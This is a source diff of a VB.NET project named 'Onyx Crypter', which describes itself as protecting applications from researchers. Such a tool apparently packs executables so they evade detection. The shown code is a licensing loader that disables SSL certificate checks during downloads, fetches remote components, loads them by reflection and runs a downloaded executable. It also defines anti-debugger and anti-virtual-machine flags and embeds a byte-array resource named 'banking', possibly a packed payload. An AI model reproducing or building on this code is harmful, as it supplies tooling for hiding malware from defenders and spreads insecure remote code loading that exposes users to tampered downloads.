GizmoLocation = Path.Combine(LocationPath, "GizmoSE")
|
||||
|
||||
OverrideSSL() '--BEGIN OVERRIDE--
|
||||
|
||||
DownloadChecksums()
|
||||
DownloadComponents()
|
||||
|
||||
RestoreSSL() '--END OVERRIDE--
|
||||
|
||||
Endpoint = Checksums(5)
|
||||
ValidateSignature()
|
||||
|
||||
Instance.GetMethod("SetID").Invoke(Nothing, New Object() {ID})
|
||||
Instance.GetMethod("SetCatch").Invoke(Nothing, New Object() {[Catch]})
|
||||
Instance.GetMethod("SetDisableUpdates").Invoke(Nothing, New Object() {DisableUpdates})
|
||||
Instance.GetMethod("SetRunHook").Invoke(Nothing, New Object() {RunHook})
|
||||
Instance.GetMethod("SetBanHook").Invoke(Nothing, New Object() {BanHook})
|
||||
Instance.GetMethod("SetRenewHook").Invoke(Nothing, New Object() {RenewHook})
|
||||
Instance.GetMethod("SetScan").Invoke(Nothing, New Object() {DirectCast(Protection, Byte)})
|
||||
Catch ex As Exception
|
||||
Dim T As New StringBuilder
|
||||
T.AppendLine(Date.UtcNow.ToString)
|
||||
T.AppendLine()
|
||||
T.AppendLine(ex.Message)
|
||||
T.AppendLine(ex.StackTrace)
|
||||
File.WriteAllText("loader.log", T.ToString)
|
||||
|
||||
ErrorKill("Unable to continue due to an error. Exception written to 'loader.log' file.")
|
||||
Return
|
||||
End Try
|
||||
|
||||
Try
|
||||
Instance.GetMethod("RunWE").Invoke(Nothing, New Object() {Version, ProductVersion, Endpoint})
|
||||
Catch
|
||||
ErrorKill("Unable to initialize license file.")
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Sub ShowAccount()
|
||||
Instance.GetMethod("ShowAccount").Invoke(Nothing, Nothing)
|
||||
End Sub
|
||||
|
||||
Function Encrypt(ByVal data As String) As String
|
||||
InitializeRm()
|
||||
|
||||
Dim R As Byte() = Encoding.UTF8.GetBytes(data)
|
||||
Dim O As Byte() = Encryptor.TransformFinalBlock(R, 0, R.Length)
|
||||
Dim U(O.Length + 3) As Byte
|
||||
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(data.Length), 0, U, 0, 4)
|
||||
Buffer.BlockCopy(O, 0, U, 4, O.Length)
|
||||
|
||||
Return Convert.ToBase64String(U)
|
||||
End Function
|
||||
|
||||
Function Decrypt(ByVal data As Byte()) As Byte()
|
||||
InitializeRm()
|
||||
|
||||
Dim Size As Integer = BitConverter.ToInt32(data, 0)
|
||||
Dim O As Byte() = Decryptor.TransformFinalBlock(data, 4, data.Length - 4)
|
||||
|
||||
Dim U(Size - 1) As Byte
|
||||
Buffer.BlockCopy(O, 0, U, 0, Size)
|
||||
|
||||
Return U
|
||||
End Function
|
||||
|
||||
'NOTE: If String.IsNullOrEmpty() get new posts from License.News.
|
||||
Function GetPostMessage(ByVal postID As Integer) As String
|
||||
Dim Data As Object = Instance.GetMethod("GetPostMessage").Invoke(Nothing, New Object() {postID})
|
||||
Return DirectCast(Data, String)
|
||||
End Function
|
||||
|
||||
Function GetVariable(ByVal name As String) As String
|
||||
Dim Data As Object = Instance.GetMethod("GetVariable").Invoke(Nothing, New Object() {name})
|
||||
Return DirectCast(Data, String)
|
||||
End Function
|
||||
|
||||
Function SpendPoints(ByVal count As Integer) As Boolean
|
||||
Dim Data As Object = Instance.GetMethod("SpendPoints").Invoke(Nothing, New Object() {count})
|
||||
Return DirectCast(Data, Boolean)
|
||||
End Function
|
||||
|
||||
Sub InstallUpdates()
|
||||
Instance.GetMethod("InstallUpdates").Invoke(Nothing, Nothing)
|
||||
End Sub
|
||||
|
||||
Sub BanCurrentUser(ByVal reason As String)
|
||||
Instance.GetMethod("BanCurrentUser").Invoke(Nothing, New Object() {reason})
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " System Declarations "
|
||||
|
||||
'IMPORTANT: DO NOT CHANGE THIS!
|
||||
Private Version As New Version("2.0.0.5")
|
||||
|
||||
Private Instance As Type
|
||||
Private WC As CookieClient
|
||||
|
||||
Private LocationPath As String
|
||||
Private LicenseLocation As String
|
||||
Private GizmoDllLocation As String
|
||||
Private GizmoLocation As String
|
||||
|
||||
Private Checksums As String()
|
||||
Private Endpoint As String
|
||||
|
||||
Private Const Domain1 As String = "http://seal.elitevs.net/Base/"
|
||||
Private Const Domain2 As String = "https://s3.amazonaws.com/nimoru/"
|
||||
|
||||
Private Const PublicKey As String = "BgIAAAAiAABEU1MxAAQAAKVlurdZMaHymNk04yRy3VGj0Bhf6gGIBsGr1zk42LrdnwYLfvn7MBAiYoCH2cD07M/HuM6NW1WqJQVF2omwH5S211wfvBCutU92RxXldmfvd06l8eQqmppztYIrXdxmW0BRlosBKPM5ms6YXZnoMKseAoqZ6Ajza8U9QCJMkSHSR+O23EoGj9V+7xwkCoYHklFtLJzERB6y/DW1BCCHhLblzpFz+mht1CD6xAi2QBNY7vZcWdbqo+ZLT4y7sw8jU61liYBuZLA/t+6KHhoIwZ+NIErsCHW5RD9ln5VpMC66wBCcY594ZTIManIuvmpw4eQaUXZPoMogf29gJgJSolaDg5iP1XDqzOTPu9RdsHe3R1ZaNglrL05zoTM94Zkl5KT+bPAUC99kGrEDmNipe6tj8FwoOTNNaTaOvWZlXTtAfaxqGV47nxKfabgxEl08n0c3PBJEjUZzJ4chwQ2Ex2A5uYBgRukcmKmRmdwIphHq0IwdoxS1+6HSwXxg1d3EEAoxJ75R1eSXF+cXOeC7d/U2UY0tqwAAAMvTiz5uMzpBQIYdNcbYnrJwHObk"
|
||||
|
||||
Private ReadOnly Property UID As String
|
||||
Get
|
||||
Return "?uid=" & BitConverter.ToString(BitConverter.GetBytes(Environment.TickCount)).Replace("-", "")
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private Encryptor As ICryptoTransform
|
||||
Private Decryptor As ICryptoTransform
|
||||
Private RmInitialize As Boolean
|
||||
|
||||
<EditorBrowsable(EditorBrowsableState.Advanced)> _
|
||||
Delegate Sub GenericDelegate()
|
||||
|
||||
<DllImport("kernel32.dll", EntryPoint:="ExitProcess")> _
|
||||
Private Shared Sub ExitProcess(ByVal code As UInteger)
|
||||
End Sub
|
||||
|
||||
<DllImport("mscoree.dll", EntryPoint:="StrongNameSignatureVerificationEx", CharSet:=CharSet.Unicode)> _
|
||||
Private Shared Function StrongNameSignatureVerificationEx( _
|
||||
ByVal fileName As String, _
|
||||
ByVal force As Boolean, _
|
||||
ByRef genuine As Boolean) As Boolean
|
||||
End Function
|
||||
|
||||
<DllImport("mscoree.dll", PreserveSig:=False, EntryPoint:="CLRCreateInstance")> _
|
||||
Private Shared Function CreateInstance( _
|
||||
<MarshalAs(UnmanagedType.LPStruct)> ByVal cid As Guid, _
|
||||
<MarshalAs(UnmanagedType.LPStruct)> ByVal iid As Guid) As <MarshalAs(UnmanagedType.Interface)> Object
|
||||
End Function
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " System Methods "
|
||||
|
||||
Private Sub DownloadChecksums()
|
||||
Try
|
||||
Checksums = WC.DownloadString(Domain1 & "checksumSE.php" & UID).Split(Char.MinValue)
|
||||
Catch ex As Exception
|
||||
Threading.Thread.Sleep(500)
|
||||
Checksums = WC.DownloadString(Domain2 & "checksumSE.txt" & UID).Split(Convert.ToChar(124))
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub DownloadComponents()
|
||||
Dim Hash As String
|
||||
If Not Directory.Exists(LocationPath) Then
|
||||
Directory.CreateDirectory(LocationPath)
|
||||
End If
|
||||
|
||||
If Not File.Exists(GizmoDllLocation) Then
|
||||
DownloadGizmoDll()
|
||||
End If
|
||||
|
||||
Hash = MD5File(GizmoDllLocation)
|
||||
If Not Hash = Checksums(1) Then
|
||||
DownloadGizmoDll()
|
||||
End If
|
||||
|
||||
If Not File.Exists(GizmoLocation) Then
|
||||
DownloadGizmo()
|
||||
End If
|
||||
|
||||
Hash = MD5File(GizmoLocation)
|
||||
If Not Hash = Checksums(2) Then
|
||||
DownloadGizmo()
|
||||
End If
|
||||
|
||||
If Not File.Exists(LicenseLocation) Then
|
||||
DownloadLicense()
|
||||
End If
|
||||
|
||||
Hash = MD5File(LicenseLocation)
|
||||
If Not Hash = Checksums(3) Then
|
||||
DownloadLicense()
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ValidateSignature()
|
||||
If ValidateCore AndAlso Not CheckCore() Then
|
||||
Throw New InvalidDataException("Core framework files are not trusted.")
|
||||
Return
|
||||
End If
|
||||
|
||||
Dim M As FileStream = File.OpenRead(LicenseLocation)
|
||||
Dim R As New BinaryReader(M)
|
||||
|
||||
Dim FullData As Byte() = R.ReadBytes(CInt(M.Length))
|
||||
M.Position = 2
|
||||
|
||||
Dim Sign As Byte() = R.ReadBytes(40)
|
||||
Dim Data As Byte() = R.ReadBytes(CInt(M.Length - Sign.Length - 2))
|
||||
R.Close()
|
||||
|
||||
Dim DSA As New DSACryptoServiceProvider
|
||||
DSA.ImportCspBlob(Convert.FromBase64String(PublicKey))
|
||||
|
||||
If DSA.VerifyData(Data, Sign) Then
|
||||
Instance = Assembly.Load(FullData).GetType("Share")
|
||||
Else
|
||||
Throw New InvalidDataException("Unable to validate signature.")
|
||||
End If
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub DownloadGizmoDll()
|
||||
Dim Data As Byte() = WC.DownloadData(Checksums(0) & Checksums(1) & ".co")
|
||||
Data = Decompress(Data)
|
||||
|
||||
Dim Hash As String = MD5(Data)
|
||||
If Not Checksums(1) = Hash Then
|
||||
Fail(GizmoDllLocation)
|
||||
Return
|
||||
End If
|
||||
|
||||
File.WriteAllBytes(GizmoDllLocation, Data)
|
||||
End Sub
|
||||
|
||||
Private Sub DownloadGizmo()
|
||||
Dim Data As Byte() = WC.DownloadData(Checksums(0) & Checksums(2) & ".co")
|
||||
Data = GizmoDecompress(Data)
|
||||
|
||||
Dim Hash As String = MD5(Data)
|
||||
If Not Checksums(2) = Hash Then
|
||||
Fail(GizmoLocation)
|
||||
Return
|
||||
End If
|
||||
|
||||
File.WriteAllBytes(GizmoLocation, Data)
|
||||
End Sub
|
||||
|
||||
Private Sub DownloadLicense()
|
||||
Dim PI As New ProcessStartInfo
|
||||
PI.Arguments = String.Format("""{0}"" ""{1}"" {2} -s", Checksums(0) & Checksums(3) & ".co", LicenseLocation, Checksums(3))
|
||||
PI.FileName = GizmoLocation
|
||||
PI.UseShellExecute = False
|
||||
|
||||
Dim P As Process = Process.Start(PI)
|
||||
If Not P.WaitForExit(20000) Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
|
||||
If Not P.ExitCode = 7788 Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub Fail(ByVal path As String)
|
||||
File.Delete(path)
|
||||
ErrorKill("Failed to initialize all the required components.")
|
||||
End Sub
|
||||
|
||||
Private Sub ErrorKill(ByVal message As String)
|
||||
MessageBox.Show(message, "Loader Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
Environment.Exit(0)
|
||||
ExitProcess(0)
|
||||
End Sub
|
||||
|
||||
|
||||
Private Function Decompress(ByVal data As Byte()) As Byte()
|
||||
Dim Size As Integer = BitConverter.ToInt32(data, 0)
|
||||
|
||||
Dim U(Size - 1) As Byte
|
||||
Dim M As New MemoryStream(data, 4, data.Length - 4)
|
||||
|
||||
Dim D As New DeflateStream(M, CompressionMode.Decompress, False)
|
||||
D.Read(U, 0, U.Length)
|
||||
|
||||
D.Close()
|
||||
M.Close()
|
||||
Return U
|
||||
End Function
|
||||
|
||||
Private Function GizmoDecompress(ByVal data As Byte()) As Byte()
|
||||
Dim GizmoDll As Byte() = File.ReadAllBytes(GizmoDllLocation)
|
||||
Dim G As MethodInfo = Assembly.Load(GizmoDll).GetType("H").GetMethod("Decompress")
|
||||
Return DirectCast(G.Invoke(Nothing, New Object() {data}), Byte())
|
||||
End Function
|
||||
|
||||
|
||||
Private Function MD5(ByVal data As Byte()) As String
|
||||
Dim H As New MD5CryptoServiceProvider
|
||||
Return HashToString(H.ComputeHash(data))
|
||||
End Function
|
||||
|
||||
Private Function MD5File(ByVal path As String) As String
|
||||
Dim F As New FileStream(path, FileMode.Open, FileAccess.Read)
|
||||
Dim H As New MD5CryptoServiceProvider
|
||||
|
||||
Dim Hash As String = HashToString(H.ComputeHash(F))
|
||||
|
||||
F.Close()
|
||||
Return Hash
|
||||
End Function
|
||||
|
||||
Private Function HashToString(ByVal data As Byte()) As String
|
||||
Return BitConverter.ToString(data).ToLower().Replace("-", String.Empty)
|
||||
End Function
|
||||
|
||||
Private Sub InitializeRm()
|
||||
If RmInitialize Then Return
|
||||
RmInitialize = True
|
||||
|
||||
Dim Rm As New RijndaelManaged
|
||||
Rm.Padding = PaddingMode.Zeros
|
||||
Rm.Mode = CipherMode.CBC
|
||||
Rm.Key = PrivateKey
|
||||
Rm.IV = PrivateKey
|
||||
|
||||
Encryptor = Rm.CreateEncryptor()
|
||||
Decryptor = Rm.CreateDecryptor()
|
||||
End Sub
|
||||
|
||||
Private SN As IStrongName
|
||||
|
||||
Private Function CheckCore() As Boolean
|
||||
Dim Base As String = RuntimeEnvironment.GetRuntimeDirectory()
|
||||
Dim Build As String = RuntimeEnvironment.GetSystemVersion()
|
||||
Dim HostCLR As Boolean = Int32.Parse(Build(1).ToString()) >= 4
|
||||
|
||||
If HostCLR Then
|
||||
Dim CID_META_HOST As New Guid("9280188D-0E8E-4867-B30C-7FA83884E8DE")
|
||||
Dim CID_STRONG_NAME As New Guid("B79B0ACD-F5CD-409B-B5A5-A16244610B92")
|
||||
|
||||
Dim Meta As IMeta = DirectCast(CreateInstance(CID_META_HOST, GetType(IMeta).GUID), IMeta)
|
||||
Dim Runtime As IRuntime = DirectCast(Meta.GetRuntime(Build, GetType(IRuntime).GUID), IRuntime)
|
||||
SN = DirectCast(Runtime.GetInterface(CID_STRONG_NAME, GetType(IStrongName).GUID), IStrongName)
|
||||
End If
|
||||
|
||||
Dim File1 As String = Path.ChangeExtension(Path.Combine(Base, "mscorlib"), "dll")
|
||||
Dim File2 As String = Path.ChangeExtension(Path.Combine(Base, "system"), "dll")
|
||||
|
||||
Dim Token As Byte() = New Byte() {183, 122, 92, 86, 25, 52, 224, 137}
|
||||
If Not IsTrusted(File1, Token, HostCLR) Then Return False
|
||||
If Not IsTrusted(File2, Token, HostCLR) Then Return False
|
||||
|
||||
Return True
|
||||
End Function
|
||||
|
||||
Private Function IsTrusted(ByVal path As String, ByVal token As Byte(), ByVal hostCLR As Boolean) As Boolean
|
||||
Dim Genuine As Boolean
|
||||
|
||||
If hostCLR Then
|
||||
If Not (SN.StrongNameSignatureVerificationEx(path, True, Genuine) = 0 AndAlso Genuine) Then Return False
|
||||
Else
|
||||
If Not (StrongNameSignatureVerificationEx(path, True, Genuine) AndAlso Genuine) Then Return False
|
||||
End If
|
||||
|
||||
Dim PublicToken As Byte() = Assembly.LoadFile(path).GetName().GetPublicKeyToken()
|
||||
If PublicToken Is Nothing OrElse Not PublicToken.Length = 8 Then Return False
|
||||
|
||||
For I As Integer = 0 To 7
|
||||
If Not PublicToken(I) = token(I) Then Return False
|
||||
Next
|
||||
|
||||
Return True
|
||||
End Function
|
||||
|
||||
Private SSLCallback As RemoteCertificateValidationCallback
|
||||
Private Function ValidateSSL(ByVal sender As Object, ByVal cert As X509Certificate, ByVal chain As X509Chain, ByVal errors As SslPolicyErrors) As Boolean
|
||||
Return True
|
||||
End Function
|
||||
|
||||
Private Sub OverrideSSL()
|
||||
SSLCallback = ServicePointManager.ServerCertificateValidationCallback
|
||||
ServicePointManager.ServerCertificateValidationCallback = New RemoteCertificateValidationCallback(AddressOf ValidateSSL)
|
||||
End Sub
|
||||
|
||||
Private Sub RestoreSSL()
|
||||
ServicePointManager.ServerCertificateValidationCallback = SSLCallback
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("D332DB9E-B9B3-4125-8207-A14884F53216")> _
|
||||
Private Interface IMeta
|
||||
Function GetRuntime(ByVal version As String, <MarshalAs(UnmanagedType.LPStruct)> ByVal iid As Guid) As <MarshalAs(UnmanagedType.Interface)> Object
|
||||
End Interface
|
||||
|
||||
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("BD39D1D2-BA2F-486A-89B0-B4B0CB466891")> _
|
||||
Private Interface IRuntime
|
||||
Sub M1()
|
||||
Sub M2()
|
||||
Sub M3()
|
||||
Sub M4()
|
||||
Sub M5()
|
||||
Sub M6()
|
||||
Function GetInterface(<MarshalAs(UnmanagedType.LPStruct)> cid As Guid, <MarshalAs(UnmanagedType.LPStruct)> iid As Guid) As <MarshalAs(UnmanagedType.Interface)> Object
|
||||
End Interface
|
||||
|
||||
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("9FD93CCF-3280-4391-B3A9-96E1CDE77C8D")> _
|
||||
Private Interface IStrongName
|
||||
Sub M1()
|
||||
Sub M2()
|
||||
Sub M3()
|
||||
Sub M4()
|
||||
Sub M5()
|
||||
Sub M6()
|
||||
Sub M7()
|
||||
Sub M8()
|
||||
Sub M9()
|
||||
Sub M10()
|
||||
Sub M11()
|
||||
Sub M12()
|
||||
Sub M13()
|
||||
Sub M14()
|
||||
Sub M15()
|
||||
Sub M16()
|
||||
Sub M17()
|
||||
Sub M18()
|
||||
Sub M19()
|
||||
Sub M20()
|
||||
Function StrongNameSignatureVerificationEx(ByVal filePath As String, ByVal force As Boolean, ByRef genuine As Boolean) As Integer
|
||||
End Interface
|
||||
|
||||
End Class
|
||||
|
||||
Friend Module LicenseGlobal
|
||||
|
||||
Friend Seal As New License
|
||||
Friend LicenseInitialize As Boolean
|
||||
|
||||
End Module
|
||||
|
||||
Friend Enum LicenseType As Byte
|
||||
Free = 0
|
||||
Bronze = 1
|
||||
Silver = 2
|
||||
Gold = 3
|
||||
Platinum = 4
|
||||
Diamond = 5
|
||||
End Enum
|
||||
|
||||
<Flags()> _
|
||||
Friend Enum RuntimeProtection As Byte
|
||||
None = 0
|
||||
Debuggers = 1
|
||||
DebuggersEx = 2
|
||||
Timing = 4
|
||||
Parent = 8
|
||||
FullScan = 15
|
||||
VirtualMachine = 16
|
||||
End Enum
|
||||
|
||||
Friend Structure NewsPost
|
||||
Private ReadOnly _ID As Integer
|
||||
ReadOnly Property ID() As Integer
|
||||
Get
|
||||
Return _ID
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private ReadOnly _Name As String
|
||||
ReadOnly Property Name() As String
|
||||
Get
|
||||
Return _Name
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private ReadOnly _Time As Date
|
||||
ReadOnly Property Time() As Date
|
||||
Get
|
||||
Return _Time
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Sub New(ByVal id As Object, ByVal name As Object, ByVal time As Object)
|
||||
_ID = DirectCast(id, Integer)
|
||||
_Name = DirectCast(name, String)
|
||||
_Time = DirectCast(time, Date)
|
||||
End Sub
|
||||
End Structure
|
||||
|
||||
Friend NotInheritable Class CookieClient
|
||||
Inherits WebClient
|
||||
|
||||
Private Request As HttpWebRequest
|
||||
Public Cookies As New CookieContainer
|
||||
|
||||
Protected Overrides Function GetWebRequest(ByVal address As Uri) As WebRequest
|
||||
Request = DirectCast(MyBase.GetWebRequest(address), HttpWebRequest)
|
||||
Request.Timeout = 8000
|
||||
Request.ReadWriteTimeout = 30000
|
||||
Request.KeepAlive = False
|
||||
Request.CookieContainer = Cookies
|
||||
Request.Proxy = Nothing
|
||||
Return Request
|
||||
End Function
|
||||
|
||||
Sub ClearCookies()
|
||||
Cookies = New CookieContainer
|
||||
End Sub
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.296
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = false
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.Onyx.Form1
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>Form1</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<SaveMySettingsOnExit>false</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,39 @@
|
||||
Imports System.Resources
|
||||
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("Onyx Crypter")>
|
||||
<Assembly: AssemblyDescription("Protects applications from unautorized researchers.")>
|
||||
<Assembly: AssemblyCompany("Onyx Encryption Services")>
|
||||
<Assembly: AssemblyProduct("Onyx Crypter")>
|
||||
<Assembly: AssemblyCopyright("Copyright © 2013")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(True)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("12fef50b-5daa-463c-bef9-57670ee26c9f")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||
|
||||
<Assembly: NeutralResourcesLanguageAttribute("en-US")>
|
||||
@@ -0,0 +1,77 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.296
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Onyx.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property banking() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("banking", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property icon() As System.Drawing.Icon
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("icon", resourceCulture)
|
||||
Return CType(obj,System.Drawing.Icon)
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,127 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
